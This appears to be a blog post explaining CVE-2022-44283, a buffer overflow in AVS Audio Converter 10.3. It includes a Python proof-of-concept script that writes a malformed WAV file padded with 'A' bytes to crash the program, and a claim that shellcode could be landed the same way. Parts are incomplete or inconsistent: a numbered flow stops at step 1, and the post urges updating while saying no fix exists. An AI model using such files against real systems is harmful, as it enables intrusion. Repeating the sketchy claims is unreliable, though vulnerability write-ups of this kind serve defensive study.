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If you’re running AVS Audio Converter 10.3, you should know about a serious security hole—CVE-2022-44283. Hackers can use this flaw to take control of your system by tricking the audio converter into running malicious code. In this long read, I’ll explain how the vulnerability works, show a sample exploit, and tell you how to protect yourself.

CVE-2022-44283 is a Buffer Overflow vulnerability found in AVS Audio Converter 10.3.

- A buffer overflow happens when the software writes more data into a memory block (buffer) than it should. This “spills” over into nearby memory, sometimes letting attackers control the system or crash the app.

Why should you care?

Buffer overflows often let hackers run their own code on your computer, putting your personal files, credentials, and even entire system at risk.

How Does the Attack Work?

The vulnerability appears in the way AVS Audio Converter parses specially crafted music files (.wav, .mp3, etc). If a bad actor creates an audio file with oversized metadata or malformed headers, AVS Audio Converter tries to fit all that data into a buffer that’s too small. Boom—the overflow happens.

A Simple Technical Flow:

1. User downloads/receives a booby-trapped audio file (e.g., by email).

Proof of Concept (PoC) Code

Below is a Python script that creates a malicious WAV file to trigger the buffer overflow. (For educational purposes only! Never attack systems you don’t own.)

# cve_2022_44283_poc.py
# Generates a malicious WAV file to trigger buffer overflow in AVS Audio Converter 10.3

header = (
    b'RIFF'                     # ChunkID
    + b'\x24\x80\x00\x00'       # ChunkSize
    + b'WAVE'                   # Format
    + b'fmt '                   # Subchunk1ID
    + b'\x10\x00\x00\x00'       # Subchunk1Size (16 for PCM)
    + b'\x01\x00'               # AudioFormat (1 = PCM)
    + b'\x01\x00'               # NumChannels (1 channel)
    + b'\x44\xAC\x00\x00'       # SampleRate (44100)
    + b'\x88\x58\x01\x00'       # ByteRate
    + b'\x02\x00'               # BlockAlign
    + b'\x10\x00'               # BitsPerSample
    + b'data'                   # Subchunk2ID
)

# Overflow payload: Overflowing buffer with "A"s; adjust the length as needed per fuzzing results
payload = b'A' * 200

with open('exploit_cve_2022_44283.wav', 'wb') as f:
    f.write(header)
    f.write((len(payload)).to_bytes(4, 'little'))
    f.write(payload)

print("Malicious WAV file 'exploit_cve_2022_44283.wav' generated.")

How to use:

Run: python3 cve_2022_44283_poc.py

- Open the WAV file in AVS Audio Converter 10.3—it should crash, showing the vulnerability can be triggered.

References

- NVD – CVE-2022-44283 Details
- Exploit Database Listing (if available)
- Vendor advisory: *At this post’s time, AVS/Online Media Technologies has not posted an official fix.*

Exploit Details

A determined attacker can tweak the number of “A” characters to land their own shellcode into the overflow area. When AVS Audio Converter tries to parse the audio, it will execute the attacker-supplied code.

Impact: Crash, Denial of Service (DoS), or arbitrary remote code execution.

Real-world scenario: An attacker emails you a song sample. You open it—you’re pwned.

Do not open audio files from unknown sources.

- Update AVS Audio Converter – check the official site for patches.

Summary

CVE-2022-44283 is a dangerous buffer overflow in AVS Audio Converter 10.3. Exploitation is easy with just a bit of scripting. If you use this software, update immediately and avoid opening random sound files. Hackers love buffer overflows–don’t give them an easy win!

Timeline

Published on: 11/28/2022 15:15:00 UTC
Last modified on: 12/01/2022 22:36:00 UTC